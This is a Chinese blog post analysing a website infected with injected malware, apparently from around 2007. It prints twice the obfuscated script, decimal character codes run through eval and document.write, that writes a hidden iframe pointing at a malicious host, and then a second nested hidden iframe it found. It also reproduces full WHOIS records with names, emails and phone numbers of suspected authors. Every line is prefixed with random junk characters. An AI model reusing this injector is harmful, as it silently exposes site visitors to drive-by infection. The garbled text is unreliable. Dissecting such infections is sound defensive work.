首发在我的博客里面，
,o86}6Ag ,Lr. 9I. http://www.areway.cn/?p=175 GeH#I5y z&zP)>Pv 8\+uec]k 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
H#,W5EJzM KcWN,!G <script>t=’60,105,102,114,97,109,101,
m| n 32,115,114,99,61,104,116,116,112,58,47,47,
| )K8N<n 102,114,101,101,46,117,45,117,117,117,46,99,
V% rzk*LA 110,47,101,114,114,111,114,46,104,116,109,
@>,^":`# 32,119,105,100,116,104,61,49,48,48,32,104,
]cHgleHQ 101,105,103,104,116,61,48,62,60,47,105,102,
>g1~ CEMN# 114,97,109,101,62′;
9X}10u: t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
]_ f_w 9] marQ NZ <script>t=’60,105,102,114,97,109,101,32,115,
hOjk3
k 114,99,61,104,116,116,112,58,47,47,102,114,
Q /U2^ 101,101,46,117,45,117,117,117,46,99,110,47,
$V -~Bu- 101,114,114,111,114,46,104,116,109,32,119,
gb[5&> (# 105,100,116,104,61,49,48,48,32,104,101,105,
NcBIg:V\c 103,104,116,61,48,62,60,47,105,102,114,97,
f%][}NN)Xr 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
6 ]K_m(F document.write(t);</script>
11 Q1AN Ag-(5: <html xmlns=”
8\&X2[oAD http://www.w3.org/1999/xhtml XO.jl" xu “>
<? q?Mn <head>
*#,7d"6W5 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
n(1l}TJy <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
@LF,O}[2J <title>首页 - 爱生活家庭网
D+ l AhEN ?gA 8x 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
PxvyN_B#> 转换字符串后的大概内容是（谁点击后果自付）：
P) Jgs <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
L +b6!2O, X _q\S g 查询玉米u-uuu.cn的详细信息：
ha]VWt%} Domain Name: u-uuu.cn
BX`{73sw ROID: 20070901s10001s64972306-cn
bQg c8/ Domain Status: ok
X-bcQ@Oj Registrant Organization: 王雷
0yk] o5a++ Registrant Name: 王雷
| mZxfI Administrative Email:
czlovexs@126.com 0"jY.*_EW Sponsoring Registrar: 北京万网志成科技有限公司
xG~P+n7t5$ Name Server:ns.yovole.com
;AG8C#_ Name Server:ns1.yovole.com
.]8ZwAs=& Registration Date: 2007-09-01 17:54
d[iQ` YW5 Expiration Date: 2008-09-01 17:54
c[0}AG J 最后PING了一下地址 都没有什么….
wON!M hA; /CrSu 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
uy>q 7C <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
lU8l}Ndz" <script language=”javascript” src=”
T$8)u'-pa http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script (~ p<
P+ >
; 5*&x z 这个玉米应该有可能是木马作者的：
)3cAQ'w foafau.info的详细信息：
j` {?OYD Access to INFO WHOIS information is provided to assist persons in
Y`~Ut:fZ determining the contents of a domain name registration record in the
HY56"LZ$(} Afilias registry database. The data in this record is provided by
<$D`Z-6 Afilias Limited for informational purposes only, and Afilias does not
sA+ }TNhq guarantee its accuracy. This service is intended only for query-based
/:cd\A} access. You agree that you will use this data only for lawful purposes
g@d*\ P) and that, under no circumstances will you use this data to: (a) allow,
]% ;:7? 5l enable, or otherwise support the transmission by e-mail, telephone, or
9)l$ aBa facsimile of mass unsolicited, commercial advertising or solicitations
#|uCgdi to entities other than the data recipient’s own existing customers; or
tHU 2/V:R (b) enable high volume, automated, electronic processes that send
U7? ;UCmX queries or data to the systems of Registry Operator, a Registrar, or
#]\Uk,mhZB Afilias except as reasonably necessary to register domain names or
^
gd aa>L modify existing registrations. All rights reserved. Afilias reserves
) ;EB z the right to modify these terms at any time. By submitting this query,
tj' \tW+s' you agree to abide by this policy.
on4HKeO Domain ID:D22418703-LRMS
iDpSj!x/_ Domain Name:FOAFAU.INFO
mVj9 , q0 Created On:20-Nov-2007 16:05:42 UTC
./\@Km? Last Updated On:20-Nov-2007 16:05:44 UTC
y'3rNa] G1 Expiration Date:20-Nov-2008 16:05:42 UTC
2R[:]-b Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
s U=H &D99 Status:CLIENT DELETE PROHIBITED
D(~U6 SR Status:CLIENT RENEW PROHIBITED
Kew@&j~ Status:CLIENT TRANSFER PROHIBITED
j ` EXlc~ Status:CLIENT UPDATE PROHIBITED
))q y;Q, Status:TRANSFER PROHIBITED
C"y(5U)d Registrant ID:GODA-040110615
oh4E7yN Registrant Name:liu hong
vx{}}/B]J Registrant Organization:
})'B<vq Registrant Street1:beijing
,V7nzhA2 Registrant Street2:
M`0V~P`^ Registrant Street3:
S;Fi? M Registrant City:beijing
{B~QQMEow Registrant State/Province:
9=s<Ld Registrant Postal Code:100000
ko!)s Registrant Country:CN
R!HXhQ Registrant Phone:+86.860108888777
lqy Qf$t Registrant Phone Ext.:
y#`tgJ: Registrant FAX:
v_yw@ Registrant FAX Ext.:
t$` r4Lb9/ Registrant Email:bbbshiji@163.com
@="Pn5<]C Admin ID:GODA-240110615
F/ ]2G^- Admin Name:liu hong
\ __i Admin Organization:
kpuz]a7pK Admin Street1:beijing
:@ yEQ#nFp Admin Street2:
Jx :Y-$ Admin Street3:
A@`}c,G Admin City:beijing
L7l
FtX+b Admin State/Province:
kj Jn2c:y Admin Postal Code:100000
Lw1Yvtn Admin Country:CN
G0Iw-vf Admin Phone:+86.860108888777
M*0]ai|; Admin Phone Ext.:
&s(^@OayE Admin FAX:
P1!qbFDv8 Admin FAX Ext.:
)705V|v Admin Email:bbbshiji@163.com
Zj( AJ* r Billing ID:GODA-340110615
VG5i{1
0 Billing Name:liu hong
7P } W
* Billing Organization:
9i:L&dN Billing Street1:beijing
;[ZEDF5H Billing Street2:
yNPVOp* Billing Street3:
_O?`@g?i Billing City:beijing
e1yt9@k, Billing State/Province:
`>o{P/ HN Billing Postal Code:100000
,KH #NY] Billing Country:CN
=F|{# F Billing Phone:+86.860108888777
/'SNw?& Billing Phone Ext.:
R*, MfV Billing FAX:
PrqlTT}Px Billing FAX Ext.:
Lj({[H7D! Billing Email:bbbshiji@163.com
.xC Z1|+gG Tech ID:GODA-140110615
x>K Or,f Tech Name:liu hong
4Z3su^XR Tech Organization:
6jaEv# Tech Street1:beijing
/|}EL%a Tech Street2:
iqsCB%;5 Tech Street3:
cVv=*81 \ Tech City:beijing
v&\Q8!r_
Tech State/Province:
w7L{_aom Tech Postal Code:100000
\
#F Tech Country:CN
+Ze} B*0 Tech Phone:+86.860108888777
f_OQ./ ` Tech Phone Ext.:
\doUTr R Tech FAX:
G[ PtkPSJ Tech FAX Ext.:
#\{l"- Tech Email:bbbshiji@163.com
E_rI ?t^ Name Server:NS27.DOMAINCONTROL.COM
F e*R Name Server:NS28.DOMAINCONTROL.COM
= jN.1} Name Server:
b=C*W,Q_# Name Server:
zpn9,,~u Name Server:
ZvM(Q=^ Name Server:
<_L,t 1H{ Name Server:
qz_7%c]K[ Name Server:
LBeF&sb6 Name Server:
6q\bB Name Server:
w{8xpAqm Name Server:
K-)]
1BG Name Server:
(XTG8W sN Name Server:
k=$TGq QY? ; nfdGB 接着下载每个文件里面的代码：
FjHv 一步一步看..
z _$% -6 
BKC iIf kZ 
5Pc;5
o0C 
au(D66VO 
r8?gD& c} 
8
/]S^'> 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
